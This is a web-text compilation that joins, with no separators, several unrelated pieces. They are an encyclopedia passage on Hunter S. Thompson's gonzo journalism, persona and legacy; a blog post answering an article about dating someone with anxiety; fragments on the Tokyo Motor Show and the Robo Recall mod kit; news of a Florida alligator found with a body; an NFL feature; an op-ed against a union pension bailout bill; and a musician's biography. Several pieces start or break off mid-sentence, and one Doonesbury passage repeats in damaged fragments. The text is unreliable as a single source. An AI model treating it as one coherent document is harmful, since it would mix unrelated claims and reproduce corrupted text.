Despite him having personally described his work as "Gonzo", it fell to later observers to articulate what the term actually meant. While Thompson's approach clearly involved injecting himself as a participant in the events of the narrative, it also involved adding invented, metaphoric elements, thus creating, for the uninitiated reader, a seemingly confusing amalgam of facts and fiction notable for the deliberately blurred lines between one and the other. Thompson, in a 1974 interview in Playboy addressed the issue himself, saying "Unlike Tom Wolfe or Gay Talese, I almost never try to reconstruct a story. They're both much better reporters than I am, but then, I don't think of myself as a reporter." Tom Wolfe would later describe Thompson's style as "... part journalism and part personal memoir admixed with powers of wild invention and wilder rhetoric."[52] Or as one description of the differences between Thompson and Wolfe's styles would elaborate, "While Tom Wolfe mastered the technique of being a fly on the wall, Thompson mastered the art of being a fly in the ointment."[53]
The majority of Thompson's most popular and acclaimed work appeared within the pages of Rolling Stone magazine. Along with Joe Eszterhas and David Felton, Thompson was instrumental in expanding the focus of the magazine past music criticism; indeed, Thompson was the only staff writer of the epoch never to contribute a music feature to the magazine. Nevertheless, his articles were always peppered with a wide array of pop music references ranging from Howlin' Wolf to Lou Reed. Armed with early fax machines wherever he went, he became notorious for haphazardly sending sometimes illegible material to the magazine's San Francisco offices as an issue was about to go to press.
Robert Love, Thompson's editor of 23 years at Rolling Stone, wrote that "the dividing line between fact and fancy rarely blurred, and we didn't always use italics or some other typographical device to indicate the lurch into the fabulous. But if there were living, identifiable humans in a scene, we took certain steps... Hunter was a close friend of many prominent Democrats, veterans of the ten or more presidential campaigns he covered, so when in doubt, we'd call the press secretary. 'People will believe almost any twisted kind of story about politicians or Washington,' he once said, and he was right."
Discerning the line between the fact and the fiction of Thompson's work presented a practical problem for editors and fact-checkers of his work. Love called fact-checking Thompson's work "one of the sketchiest occupations ever created in the publishing world", and "for the first-timer... a trip through a journalistic fun house, where you didn't know what was real and what wasn't. You knew you had better learn enough about the subject at hand to know when the riff began and reality ended. Hunter was a stickler for numbers, for details like gross weight and model numbers, for lyrics and caliber, and there was no faking it."[54]
Persona [ edit ]
Thompson often used a blend of fiction and fact when portraying himself in his writing as well, sometimes using the name Raoul Duke as an author surrogate whom he generally described as a callous, erratic, self-destructive journalist who constantly drank alcohol and took hallucinogenic drugs. Fantasizing about causing bodily harm to others was also a characteristic in his work used to comedic effect and an example of his brand of humor.
In the late sixties, Thompson acquired the title of "Doctor" from the Universal Life Church.[55]
A number of critics have commented that as he grew older the line that distinguished Thompson from his literary self became increasingly blurred.[56][57][58] Thompson admitted during a 1978 BBC interview that he sometimes felt pressured to live up to the fictional self that he had created, adding "I'm never sure which one people expect me to be. Very often, they conflict — most often, as a matter of fact.... I'm leading a normal life and right alongside me there is this myth, and it is growing and mushrooming and getting more and more warped. When I get invited to, say, speak at universities, I'm not sure if they are inviting Duke or Thompson. I'm not sure who to be."[59]
Thompson's writing style and eccentric persona gave him a cult following in both literary and drug circles, and his cult status expanded into broader areas after being portrayed three times in major motion pictures. Hence, both his writing style and persona have been widely imitated, and his likeness has even become a popular costume choice for Halloween.[60]
Political beliefs [ edit ]
Thompson was a firearms and explosives enthusiast (in his writing and in life) and owned a vast collection of handguns, rifles, shotguns, and various automatic and semi-automatic weapons, along with numerous forms of gaseous crowd control and many home-made devices. He was a proponent of the right to bear arms and privacy rights.[61] A member of the National Rifle Association,[62] Thompson was also co-creator of "The Fourth Amendment Foundation", an organization to assist victims in defending themselves against unwarranted search and seizure.[63]
Part of his work with The Fourth Amendment Foundation centered around support of Lisl Auman, a Colorado woman who was sentenced for life in 1997 under felony murder charges for the death of police officer Bruce VanderJagt, despite contradictory statements and dubious evidence.[64] Thompson organized rallies, provided legal support, and co-wrote an article in the June 2004 issue of Vanity Fair outlining the case. The Colorado Supreme Court eventually overturned Auman's sentence in March 2005, shortly after Thompson's death, and Auman is now free. Auman's supporters claim Thompson's support and publicity resulted in the successful appeal.[65]
Thompson was also an ardent supporter of drug legalization and became known for his detailed accounts of his own drug use. He was an early supporter of the National Organization for the Reform of Marijuana Laws and served on the group's advisory board for over 30 years, until his death.[66] He told an interviewer in 1997 that drugs should be legalized "[a]cross the board. It might be a little rough on some people for a while, but I think it's the only way to deal with drugs. Look at Prohibition: all it did was make a lot of criminals rich."[43]
In a 1965 letter to his friend Paul Semonin, Thompson explained an affection for the Industrial Workers of the World, "I have in recent months come to have a certain feeling for Joe Hill and the Wobbly crowd who, if nothing else, had the right idea. But not the right mechanics. I believe the IWW was probably the last human concept in American politics."[67] In another letter to Semonin, Thompson wrote that he agreed with Karl Marx, and compared him to Thomas Jefferson.[68] In a letter to William Kennedy, Thompson confided that he was "coming to view the free enterprise system as the single greatest evil in the history of human savagery."[69] In the documentary Breakfast with Hunter, Hunter S. Thompson is seen in several scenes wearing different Che Guevara T-shirts. Additionally, actor and friend Benicio del Toro has stated that Thompson kept a "big" picture of Che in his kitchen.[70] Thompson wrote on behalf of African-American rights and the civil rights movement.[71] He strongly criticized the dominance in American society of, what he called, "white power structures".[72]
After the September 11 attacks, Thompson voiced skepticism regarding the official story on who was responsible for the attacks. He speculated to several interviewers that it may have been conducted by the U.S. Government or with the government's assistance, though readily admitting he had no way to prove his theory.[73]
In 2004, Thompson wrote: "Nixon was a professional politician, and I despised everything he stood for—but if he were running for president this year against the evil Bush–Cheney gang, I would happily vote for him."[74]
Works [ edit ]
Books [ edit ]
Thompson wrote a number of books, publishing from 1966 to the end of his life. His best-known works include Hell's Angels: The Strange and Terrible Saga of the Outlaw Motorcycle Gangs, Fear and Loathing in Las Vegas, and The Rum Diary.
Articles [ edit ]
As a journalist over the course of decades, Thompson published numerous articles in various periodicals. He wrote for many publications, including Rolling Stone, Esquire, The Boston Globe, Chicago Tribune, The New York Times, The San Francisco Examiner, Time, Vanity Fair, The San Juan Star, and Playboy. He was also guest editor for a single edition of The Aspen Daily News. A collection of 100 of his columns from The San Francisco Examiner was published in 1988 as Gonzo Papers, Vol. 2: Generation of Swine: Tales of Shame and Degradation in the '80s. A collection of his articles for Rolling Stone was released in 2011 as Fear and Loathing at Rolling Stone: The Essential Writings of Hunter S. Thompson. The book was edited by the magazine's co-founder and publisher, Jann S. Wenner, who also provided an introduction to the collection.
Letters [ edit ]
Thompson wrote many letters, which were his primary means of personal communication. He made carbon copies of all his letters, usually typed, a habit begun in his teenage years.
The Fear and Loathing Letters is a three-volume collection of selections from Thompson's correspondence, edited by the historian Douglas Brinkley. The first volume, The Proud Highway was published in 1997, and contains letters from 1955 to 1967. Fear and Loathing in America was published in 2000 and contains letters dating from 1968 to 1976. A third volume, titled The Mutineer: Rants, Ravings, and Missives from the Mountaintop 1977–2005 was edited by Douglas Brinkley and published by Simon & Schuster in 2005. As of January 2018, it has yet to be sold to the public. It contains a special introduction by Johnny Depp.
Illustrations [ edit ]
Accompanying the eccentric and colorful writing of Hunter Thompson, illustrations by British artist Ralph Steadman offer visual representations of the Gonzo style. Steadman and Thompson developed a close friendship, and often traveled together. Though his illustrations occur in most of Thompson's books, they are conspicuously featured in full-page color in Thompson's The Curse of Lono, set in Hawaii.
Photography [ edit ]
Thompson was an avid amateur photographer throughout his life and his photos have been exhibited since his death at art galleries in the United States and United Kingdom. In late 2006, AMMO Books published a limited-edition 224-page collection of Thompson photos called Gonzo, with an introduction by Johnny Depp. Thompson's snapshots were a combination of the subjects he was covering, stylized self-portraits, and artistic still life photos. The London Observer called the photos "astonishingly good" and noted that "Thompson's pictures remind us, brilliantly in every sense, of very real people, real colours."[75]
Feature films [ edit ]
The film Where the Buffalo Roam (1980) depicts heavily fictionalized attempts by Thompson to cover the Super Bowl and the 1972 U.S. presidential election. It stars Bill Murray as Thompson and Peter Boyle as Thompson's attorney Oscar Zeta Acosta, referred to in the movie as Carl Lazlo, Esq.
The 1998 film adaptation of Fear and Loathing in Las Vegas was directed by Monty Python veteran Terry Gilliam, and starred Johnny Depp (who moved into Thompson's basement to "study" Thompson's persona before assuming his role in the film) as Raoul Duke and Benicio del Toro as Dr. Gonzo. The film has achieved something of a cult following.
The film adaptation of Thompson's novel The Rum Diary was released in October 2011, also starring Johnny Depp as the main character, Paul Kemp. The novel's premise was inspired by Thompson's own experiences in Puerto Rico. The film was written and directed by Bruce Robinson.
At a press junket for The Rum Diary shortly before the film's release, Depp said that he would like to adapt The Curse of Lono, "The Kentucky Derby Is Decadent and Depraved", and Hell's Angels for the big screen: "I'd just keep playing Hunter. There's a great comfort in it for me, because I get a great visit with my old friend who I miss dearly."[76]
Documentaries [ edit ]
Fear and Loathing in Gonzovision (1978) is an extended television profile by the BBC. It can be found on disc 2 of The Criterion Collection edition of Fear and Loathing in Las Vegas.
The Mitchell brothers, owners of the O'Farrell Theatre in San Francisco, made a documentary about Thompson in 1988 called Hunter S. Thompson: The Crazy Never Die.
Wayne Ewing created three documentaries about Thompson. The film Breakfast with Hunter (2003) was directed and edited by Ewing. It documents Thompson's work on the movie Fear and Loathing in Las Vegas, his arrest for drunk driving, and his subsequent fight with the court system. When I Die (2005) is a video chronicle of making Thompson's final farewell wishes a reality, and documents the send-off itself. Free Lisl: Fear and Loathing in Denver (2006) chronicles Thompson's efforts in helping to free Lisl Auman, who was sentenced to life in prison without parole for the shooting of a police officer, a crime she didn't commit. All three films are only available online.[77]
In Come on Down: Searching for the American Dream[78] (2004) Thompson gives director Adamm Liley insight into the nature of the American Dream over drinks at the Woody Creek Tavern.
Buy the Ticket, Take the Ride: Hunter S. Thompson on Film (2006) was directed by Tom Thurman, written by Tom Marksbury, and produced by the Starz Entertainment Group. The original documentary features interviews with Thompson's inner circle of family and friends, but the thrust of the film focuses on the manner in which his life often overlapped with numerous Hollywood celebrities who became his close friends, such as Johnny Depp, Benicio del Toro, Bill Murray, Sean Penn, John Cusack, Thompson's wife Anita, son Juan, former Senators George McGovern and Gary Hart, writers Tom Wolfe and William F. Buckley, actors Gary Busey and Harry Dean Stanton, and the illustrator Ralph Steadman among others.
Blasted!!! The Gonzo Patriots of Hunter S. Thompson (2006), produced, directed, photographed and edited by Blue Kraning, is a documentary about the scores of fans who volunteered their privately owned artillery to fire the ashes of the late author, Hunter S. Thompson. Blasted!!! premiered at the 2006 Starz Denver International Film Festival, part of a tribute series to Hunter S. Thompson held at the Denver Press Club.
In 2008, Academy Award-winning documentarian Alex Gibney (Enron: The Smartest Guys in the Room, Taxi to the Dark Side) wrote and directed a documentary on Thompson, titled Gonzo: The Life and Work of Dr. Hunter S. Thompson. The film premiered on January 20, 2008, at the Sundance Film Festival. Gibney uses intimate, never-before-seen home videos, interviews with friends, enemies and lovers, and clips from films adapted from Thompson's material to document his turbulent life.
Theater [ edit ]
Lou Stein's adaptation of "Fear and Loathing in Las Vegas" was performed at the Battersea theatre. Stein persuades London's 'Time Out' Magazine to put Thompson up for a fortnight, in exchange for him writing a cover story to publicize the play. Thompson doesn't write the story, but does rampage around London on Time Out's expense account. The play was revived for the Vault Fringe Festival in 2014.
GONZO: A Brutal Chrysalis is a one-man show about Thompson written by Paul Addis, who also played the author. Set in the writing den of Thompson's Woody Creek home, the show portrays his life between 1968 and 1971. James Cartee began playing the role soon after Addis's arrest in 2009, and again after Addis's death in 2012.
Awards, Accolades and Tributes [ edit ]
Thompson was named a Kentucky colonel by the Governor of Kentucky in a December 1996 tribute ceremony where he also received keys to the city of Louisville. [79]
Author Tom Wolfe has called Thompson the greatest American comic writer of the 20th century. [52]
Asked in an interview with Jody Denberg on KGSR Studio, in 2000, whether he would ever consider writing a book "like [his] buddy Hunter S. Thompson", the musician Warren Zevon responded: "Let's remember that Hunter S. Thompson is the finest writer of our generation; he didn't just toss off a book the other day..." [80]
Thompson appeared on the cover of the 1,000th issue of Rolling Stone, May 18 – June 1, 2006, as a devil playing the guitar next to the two "L"'s in the word "Rolling". Johnny Depp also appeared on the cover. [81]
, May 18 – June 1, 2006, as a devil playing the guitar next to the two "L"'s in the word "Rolling". Johnny Depp also appeared on the cover. The Thompson-inspired character Uncle Duke appears on a recurring basis in Doonesbury, the daily newspaper comic strip by Garry Trudeau. When the character was first introduced, Thompson protested, quoted in an interview as saying that he would set Trudeau on fire if the two ever met, [82] although it was reported that he liked the character in later years. Between March 7, 2005 (roughly two weeks after Thompson's suicide) and March 12, 2005, Doonesbury ran a tribute to Hunter, with Uncle Duke lamenting the death of the man he called his "inspiration". The first of these strips featured a panel with artwork similar to that of Ralph Steadman, and later strips featured various non-sequiturs (with Duke variously transforming into a monster, melting, shrinking to the size of an empty drinking glass, or people around him turning into animals) which seemed to mirror some of the effects of hallucinogenic drugs described in Fear and Loathing in Las Vegas.
, the daily newspaper comic strip by Garry Trudeau. When the character was first introduced, Thompson protested, quoted in an interview as saying that he would set Trudeau on fire if the two ever met, although it was reported that he liked the character in later years. Between March 7, 2005 (roughly two weeks after Thompson's suicide) and March 12, 2005, ran a tribute to Hunter, with Uncle Duke lamenting the death of the man he called his "inspiration". The first of these strips featured a panel with artwork similar to that of Ralph Steadman, and later strips featured various non-sequiturs (with Duke variously transforming into a monster, melting, shrinking to the size of an empty drinking glass, or people around him turning into animals) which seemed to mirror some of the effects of hallucinogenic drugs described in. General Hunter Gathers in the Adult Swim animated series The Venture Bros. is a tribute to Thompson and derives his physical appearance from him.A while back, I stumbled across this article: http://elitedaily.com/dating/dating-someone-with-anxiety/907721/ As someone who both deals with anxiety and is in a romantic relationship, I was very curious to see what this particular writer had to say compared to the many others I have read. Lately, I see more and more articles about anxiety on my newsfeed, and despite the fact that it saddens me to see how prevalent of a problem it is, it gives me hope to know that these conversations are finally being held.
As it turns out, this article was not at all what I expected. In fact, it scared me to see so much misinformation, enabling, and negativity disguised as what was supposed to be a helpful post. For once, reading the comments was actually a positive experience, primarily filled with remarks from people who were just as frustrated with the content as I was.
But rather than write a scathing response to what I found to be an immensely problematic article, I’d instead like to turn the conversation in a more constructive direction. It is perfectly valid to feel as if your personal mental health problems cause trouble in a relationship, but posting such an individually-driven article as a generalization about anxiety is not the healthiest way to work through it. Along with this, I feel like searching for solutions is a more effective method of coping than providing what read, to me, as a warning about dangers of dating Anxious People From the Sad Lagoon.
All relationships come with struggles, and through these struggles we change and learn to become better people. While anxiety creates challenges that can feel like too much for anyone to handle, there are many ways that people can work together to improve the situation.
A note: While Gigi Engle is no anxiety expert, neither am I! Please let me know what you think about these tips if you feel moved to do so, whether you find them helpful or problematic in their own way.
.oOo.
1. Ask Questions
Anxiety is not Voldemort. Talk about it. (And talk about Voldemort, honestly.) Everyone experiences anxiety differently, and the worst thing you can do if you love someone who suffers from anxiety is assume that you know exactly what is going on and how it should be handled. My anxiety is not a friend’s anxiety is not Gigi Engle’s anxiety is not a stranger on the train’s anxiety, and the only way to truly work at being an understanding friend/parent/sibling/lover/person is by asking questions and genuinely listening to the responses you are given.
If you are unsure of what kind of questions to ask, here are a few ideas: Are there any specific things that trigger your anxiety? When you’re feeling anxious, do you prefer to be touched or not touched? Has this behavior of mine been bothering you? Is there anything that you know is a comfort to you? (If you have anxiety and don’t know the answer to this, start thinking and experimenting! I hope to put up a post soon with some tips I’ve found in my trek through Stress Land.)
And some questions not to ask: Why can’t you get over it? Isn’t there just some medication for that? Why are you being difficult about this?
.oOo.
2. Do Some Research
And I don’t mean clickbait articles. And I don’t mean relying on only one source, either–even if it’s this one! But if you like it enough that you considered having it be your go-to, you could always buy me a pizza or something. If you hate it, you could buy me a pizza, too. I’m just hoping for a pizza, honestly.
But snacks aside, doing research is seriously one of the most valuable things my girlfriend has done for our relationship. Much of her choice to research all sorts of medical articles, informative videos, blog posts, and stories about anxiety came from her own interest in the subject and the desire to understand what precisely was going on in the body when she would have her occasional panic attacks. Once she began dating me and experiencing what life looked like for a person who lived with a different, more pervasive kind of anxiety, her curiosity only grew and she began to search for ways to make our lives easier. As a yoga instructor and aromatherapy enthusiast, she has provided me with breathing exercises (exhaling two counts longer than inhaling), useful essential oil combinations (lavender, clary sage, and cypress mixed together in almond oil), and several yoga poses (Child’s Pose/Balasana, Standing Forward Fold/Uttanasana, Reclined Twist/Supta Matsyendrasana) that regularly help me work through my difficult times.
Her taking a personal interest without making me feel like some sort of oddity has helped enforce the idea that there are ways for me to live with these struggles without feeling insane pressure to “just be better already.” Along with this, her research on the biological elements of an anxiety attack has always been a useful reminder that during these episodes, I am not dying. It also helps her with the language that is used. After all, “You’re freaking out over nothing” sounds a whole lot more frustrated and patronizing than a simple “Fuck your adrenal glands, right?”
And honestly, it’s just really interesting stuff. Do the research–it’ll make you a smarter and more helpful person!
.oOo.
3. Do Not Enable
It is easy to do. Stress breeds stress, and sadness can feel like an addiction (just ask Gotye) and pulling oneself out of it can feel near impossible, especially for those with mental health problems. In these moments, it is absolutely key to have patience and understanding, but never at the expense of actually getting better. This is probably my biggest issue with Engle’s article: It is enabling, it is manipulative, and it is unreasonable. “You have to be available 24/7,” “If he/she’s in the middle of something, you know not to speak,” “There is no such thing as relaxing,” the list goes on. This is not love; this is allowing someone to be controlled by their anxiety and to use it as an excuse to control you.
Anxiety is not necessarily something that can be “cured,” but as with all things in life, there are ways to make it better. If you as a partner (or friend or anything else) cannot bring yourself to call the people you care about out on their destructive behavior, you are not being helpful. My biggest piece of advice is to make yourself aware of the language and tone you use. Sometimes just the way in which you say “Try to remember that you are the source of your stress” can make or break a conversation. And this skill goes beyond helping people with anxiety–learning what kind of tone and wording people best respond to is key in forming positive relationships in social circles, the home, and the workplace!
This is also a place where your research can come in: once you have found some resources, it becomes a whole lot easier to help out. Instead of feeling helpless during your partner’s anxious periods, you have something you can bring to the table. Even if it is not what they need, you have still learned something, and you are still working towards finding a better way of life.
.oOo.
4. Make Suggestions, Not Demands
Therapy, medication, vitamins, holistic approaches: anxiety is everywhere, and so are different methods of treatment. All people are individuals and have very different needs, and it is important to remember that you will not find any sort of instant fix to this problem. So please, do not assume medication is The Answer. For many people, it is An Answer, and one that works extremely effectively in helping them go about their daily lives, and I am not against using it as a part of treatment! But for others, it does not necessarily suit their needs. Along with this, all medications work differently for different people, so it isn’t fair to assume that what helped one person might definitely help another. While “You definitely need to go on medication” is the most common example I can think of in terms of treatment demands, this applies to everything.
Try to remember just how much is out there and how different people are. If you feel like your partner might benefit from medication, ask them to talk to their doctor and look up some things; if you feel like therapy might work, help them search for local therapists. If you’ve read about the benefits of yoga for anxiety, link them to some articles and help discover some locations in your area. But ultimately, it is their choice. All you can do is offer advice.
.oOo.
5. Don’t Be a Therapist, Even (And Especially) if You’re Good at It
This is a hard one. Maybe you’re the friend people have always come to for advice, and maybe you are incredibly talented at giving it. Perhaps you’re even interested in going into therapy as a career path and you can tell yourself this is a learning experience.
But this is not your job. When your partner breaks a leg, you drive them to a hospital–you don’t reset the bone. Your job is to be a part of their support system, not their doctor or their cure. And when you know you have good advice, it can be very difficult not to devote yourself to being as helpful as you can be or convince yourself that you can fix things. Eventually, this will drain you, and the relationship will start to feel quite a bit uneven.
Know your boundaries and hold to them. If you are feeling strange about your role in the relationship, say something. And if you are someone who has anxiety, do your best to be aware of when you might be creating this sort of imbalance yourself.
.oOo.
6. Remember You Are Allowed Your Own Space
Loving someone with anxiety can be very hard. Hell, loving anyone can be hard, but anxiety certainly poses a very challenging set of problems. If you are dating someone with anxiety, it is absolutely vital to remember that you are always allowed your own space whenever it is you might need it. My biggest problem with Engle’s article, and the one that might have made me the most angry, was the way the writer seemed to demand the attention of the partner like the unblinking eye of some hover-parent God. “You need to be available 24/7.”
Bullshit.
Be available when you can be. As a person with anxiety, I can vouch for the fact that it is helpful to have a person on hand. But sometimes, your primary person is busy. Sometimes they’re tired or their phone died or they’re at work or they have their own problems going on and need a little space. Anxiety does not entitle a person to absolute ownership of another’s time and energy, and to hold it over someone’s head is nothing short of cruel. Give your person as much as you can without giving away all you have–take your space. It might be hard, but you deserve it.
.oOo.
7. Widen Your Social Circle
When watching a family member go through a personal struggle |
ision which has a rotary under hood. Unfortunately they are still keeping the specifics about the engine hush hush which was a bit of a downer but they definitely have my interest peaked!
I finally decided it was time to visit Nissan. Save the best to last as the say. By far Nissan had the best performance and setup at the Tokyo Motor Show. Putting aside the dancers and their epic routine they introduced us to the future right before our eyes. The Nissan IDS is a car that drives by it self. Yes thats right, it does not need a driver. They did a demonstration on the stage as an example and it was a pretty awesome site to see. If you are thinking that there is no fun in having a car that you can’t drive yourself. Don’t worry, The Nissan IDS has a manual option and a steering wheel comes out of the dash.
From here I went straight towards the Nissan Nismo signs and spent the next 30 minuets drooling over what they had on display. Nismo editions of all of their current high end performance cars! The highlight obviously being the Nismo R35 GTR.
After I snapped a few shots of the Nismo R35 GTR I discovered that they had tucked away behind it the Grand Turismo GTR Concept Car. The rear end is pure amaze balls!
All in all the Tokyo Motor Show was amazing and I am pumped to go again next year.
Here is a gallery of some more pictures from the day.Epic’s passion for modding has been a core part of our DNA for decades. In fact, a significant number of our employees got their industry start in the mod community by bringing their ideas to life on the solid foundation of a great game. In that spirit, we’re proud to make all the assets and source code for Robo Recall available to everyone via the Robo Recall Mod Kit, available now via the Epic Games launcher.
Leveraging the workflows and power of Unreal Engine 4, new weapons, enemies, maps and other content of all kinds can be made and loaded up into the VR title. With the Robo Recall Mod Kit, modders can make new gameplay assets that allow players to fight dinosaurs instead of robots or use space weapons in the place of their standard weapon loadout.
Want to take the Robo Recall experience to all new locales? That’s possible, too! Learn how to get started with Robo Recall modding here.
UPDATE: You can now watch the "Building Robo Recall Mods with Blueprints" tutorial video below.Police in Florida are trying to figure out how a wild alligator ended up with a dead body. The identity of the victim is unknown.
Lakeland Police received a 911 call (you can listen below) on Tuesday afternoon following sightings of an alligator walking around the edge of a lake with a human body in its mouth.
"I noticed something bobbing in the water... At first, I thought it was a tire or something just from the looks of it,” a witness told local news WFLA Channel 8. “I noticed there was a gator on it because he kind of took it up and rolled it. ”
When police arrived on the scene the gator was still holding the deceased body in its jaws. On approaching it, the alligator let go of the body and swam away.
According to a statement by the Lakeland Police Department, the investigators have still not established the identity of the body, and so far have only figured out that the body was male and had been in the water for at least a day. It is also unknown whether the alligator killed the body or just found it. On the Sunday before the body was found, police also received a call from someone saying they saw “something large floating in Lake Hunter with an alligator circling it,“ but police couldn’t find anything suspicious.
A contract trapper from the Florida Fish and Wildlife Conservation Commission captured a 2.7 meter (9 foot) long alligator the following day, Tampa Bay Times reports. A medical examiner analysis showed that the alligator had human remains inside of its stomach, strongly implying this was the culprit.
Florida Fish and Wildlife Conservation Commission says there were five fatalities from gator attacks in Florida between April 2016 and 2006.TEMPE, Ariz. — Back in May, Arizona Cardinals coach Bruce Arians talked about how running back Andre Ellington was going to be the focal point of the team’s offense in the upcoming season.
“I would love to get him 25 to 30 every game,” he said when asked how many touches he was envisioning for the former sixth-round pick.
It was a lofty goal, especially considering that in 2013, Philadelphia’s LeSean McCoy led all running backs with 366 touches, which averaged out to just under 23 per game.
Through 10 games this season, Ellington is averaging 22.7 touches, which he’s turned into 980 all-purpose yards along with five touchdowns.
His 186 rushing attempts are fourth in the NFL, behind DeMarco Murray (244), McCoy (196) and Le’Veon Bell (195), while his 41 receptions are tied for 49th in the NFL among all players, but third among running backs in receptions, trailing Matt Forte (67) and Bell (57).
In total touches, his 227 rank behind Murray (280), Bell (252) and Forte (240).
But Ellington, who has been battling a foot injury all season, has seen his usage increase in recent weeks.
After tallying 18, 16, 21 and 20 touches in the first four games, he’s posted 25, 30, 26, 25, 23 and 23 over the last six.
“A little better,” Ellington said of how he’s feeling. “Like I’ve said before, it’s going to be week by week, I’ll feel better each week. And I’m starting to.”
Ellington said he’s not sure if his increase in touches over the last handful of games is related to his improved health, saying Arians will dial up whatever plays he thinks are best and his job is to go out and execute.
Of course, Arians’ offseason proclamation was more a sign of how he wanted the offense to be built around the running back, who last season as a rookie showed he could be explosive both as a runner and a receiver out of the backfield.
Arians said he has no issue with how many times the ball has been handed off to his back.
“I’d still like to see him catch the football more, but carries-wise, yeah, he’s had more than enough,” he said.
So if Ellington’s role is going to increase at all in the final six games of the regular season, odds are it will not be as a runner.
Ellington knows matchups are a big part of his reception total, but knows that’s an area where he can make plays.
“Just kind of get me out in space, that’s where I like to play,” he said. “I’m at my best when I’m in space.”
The Cardinals know they are at their best when Ellington is involved and effective, and there appear to be no plans to lessen his role.
Ellington is perfectly fine with that and will happily take as many touches as he’s given.
“Yeah, I’m always good for that,” he said.
Follow @theAdamGreenWASHINGTON--It's Thanksgiving, the start of the holidays, the season of giving-and getting-and many labor union officials have a lot to be thankful for. Some members of Congress are thinking about giving the union bosses a multi-billion dollar gift-a bailout of failing, collectively-bargained multiemployer pension plans.
No matter that this would increase the federal deficit, putting even more pressure on the American taxpayer and the economy. After the $787 billion "stimulus" plan, the $700 billion Troubled Asset Relief Plan, and the potential $1 trillion health care "reform" plan, what are a few more hundreds of billions of dollars? Who's counting?
Representatives Earl Pomeroy, a North Dakota Democrat, and Patrick Tiberi, an Ohio Republican, have come to the rescue of pension plans with the proposed Preserve Benefits and Jobs Act of 2009. Even though the Pomeroy-Tiberi bill has not yet had a hearing, and has no companion bill in the Senate, the mere introduction of the bill shows how desensitized Congress has become to costly legislation.
What are multiemployer plans, and why do some members of Congress want to rescue them with money from the federal Treasury?
Multiemployer pension plans are created and sponsored by unions to generate retirement income for employees of different companies. Such plans allow workers to take their pension rights with them if they move to another participating company; they also facilitate consolidation of union pension contributions into larger investment pools.
Although these plans were created with the best of intentions, multiemployer pension plans generally have lower levels of funding than do plans sponsored by other employers for their nonunion employees. This disparity in funding adequacy is evident in Labor Department data for 2006, the latest year for which complete reporting is available. Since the 2008 stock market crash, the disparity has worsened.
While a pension plan need not be fully funded at any moment to be stable, Congress (through the Pension Protection Act of 2006) considers funds with less than 80% of needed assets to be in "endangered" status, and those with less than 65% to be in "critical" status.
Among all large plans - those with 100 or more employees - only 17% of union-negotiated plans were fully funded in 2006, compared to 35% of non-union plans. Thirteen percent of union funds had less than 65% of required assets, while only 1% of non-union plans were in critical shape.
Plans in critical status include the Central States Teamsters' plan, which has 48% of the assets needed to fund its obligations, the Service Employees International Union plan, at 65%, and the Sheet Metal Workers, at 39%.
Included in the bill's provisions is a "fifth fund," under the auspices of the government's Pension Benefit Guaranty Corporation, to rescue union-controlled multiemployer funds. The fifth fund would be used to "protect the reasonable benefit expectations of plan participants and beneficiaries...to encourage the continuation and maintenance of voluntary private pension plans for the benefit of their participants while maintaining premiums at the lowest level consistent with that objective."
Notice the emphasis on keeping contributions to the fund low. That's to permit active union members to get bigger pay raises.
The bill states that whereas the U.S. government is not responsible for the obligations of the PBGC-which is funded through contributions from employers-the government is directly liable for the fifth fund. The bill sets no upper limit to the Treasury's exposure.
This means that the underfunded union-controlled pension obligations would be shifted directly to taxpayers. You could call it another entitlement program. The Congressional Budget Office has not yet given a cost estimate for the bill, but the figure is likely to be in the hundreds of billions, because of the sizeable number of large multiemployer plans-over 300 this year-that are in critical or endangered condition.
The bill also would loosen accounting standards, allowing plans to spread recent financial losses over 10 years and in some cases over 30 years. This sleight of hand would make plans appear to be in better financial shape than they are under present rules. Unions would come under less pressure to acquiesce in a reduction of future benefits, or to shift compensation from wages to contributions.
Further, the bill would allow certain multiemployer pension funds to form alliances and merge where these mergers would reduce the PBGC's losses. Plans that have been financially prudent could lose, because they could be merged with failing plans.
The bill would scale up PBGC payouts to workers in bankrupt multiemployer plans from $13,000 a year to $20,000, placing further financial pressure on the PBGC.
The root of the problem is that union leaders prefer to seek increases in wages rather than divert available money to pension contributions, and so many pension plans are increasingly underfunded. Unions advertise solid pension plans to attract new members, but do not diligently strive to protect the rosy financial futures they advertise.
If this bill is enacted, unions will have no incentive in the future to negotiate well-funded pension plans. In the guise of helping out workers, the bill's transparent purpose is to rescue union leaders, so they can shift from negotiating higher pension contributions to negotiating higher wages. That's the way union leaders win re-election.
Congressional observers are preoccupied with the health care bill and how it might further inflate our already-bloated budget deficit. Health care isn't the only uncontrolled spending bill rolling on Capitol Hill. Walk down any congressional hallway and members seek to spend billions more on their favorite causes. Just ask Reps. Pomeroy and Tiberi.Clayton Counts was an American musician and composer, a former DJ, and one half of the experimental band Bull of Heaven.
Early life [ edit ]
Counts was born with detached retinas in both his eyes. A series of surgeries at a young age complicated this, leaving him blind in his right eye, and weakened in his left.[1] Counts was initially located in Austin, Texas.
In the 1990s, Counts became notorious with his prank phone calls to the Austin Community Access Center, in particular Alex Jones's show. An incident occurred - though with varying claims from both sides[2][3] - in which Counts was involved in the assault of Jones in a parking lot with three other individuals. As a follow-up, it was claimed that Jones used FBI connections to label Counts a terrorist and claimed he possessed child pornography. Federal agents raided the FringeWare Review bookstore, headquarters of an early cyberculture magazine that Counts wrote articles for. The case was later dropped.
In 2000, Counts relocated to Chicago. Whilst there, he met Neil Keener, who would later join Counts in the band Bull of Heaven.
DJ work [ edit ]
In the 2000s, Counts worked as a DJ to afford a living. He worked at various clubs, including Lava, Whiskey Sky, Reserve, Darkroom, the Allstate Arena, as well as performing at private functions. In July 2005, Counts was again involved in an incident - this time the alleged battery of a bouncer at the Lava club. Much like the Alex Jones incident in 2000, there are two sides to this story;[4] Counts claims that he was told the set he was playing was "too loud" by club owner Brian Sarpalius (aka Phantom 45), who then subsequently interfered with and eventually unplugged Counts' equipment prior to having him removed by a bouncer. Sarpalius claims that it was actually Counts who caused a scene, and damaged the club's equipment. Counts allegedly discharged a can of mace at the bouncer's feet as a warning shot, though the stories of this differ from both sides. Later in the night, Counts was arrested, and his equipment was lost for several days whilst it was in possession of another club-goer the night of the incident. Counts had been DJing at the Lava club for four years prior to Sarpalius becoming the new owner, and this incident ending his shows there. The charges against Counts were dropped after a lengthy court case.
Musical career [ edit ]
